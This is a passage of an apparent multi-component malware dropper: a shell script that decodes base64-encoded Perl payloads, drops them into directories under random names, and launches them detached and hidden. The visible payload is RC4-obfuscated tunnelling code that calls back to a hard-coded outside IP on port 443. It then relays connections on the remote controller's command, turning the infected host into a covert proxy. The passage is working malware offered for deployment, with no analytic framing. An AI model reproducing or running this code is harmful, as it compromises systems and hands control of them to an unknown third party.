LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #14 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #14 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 15 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z 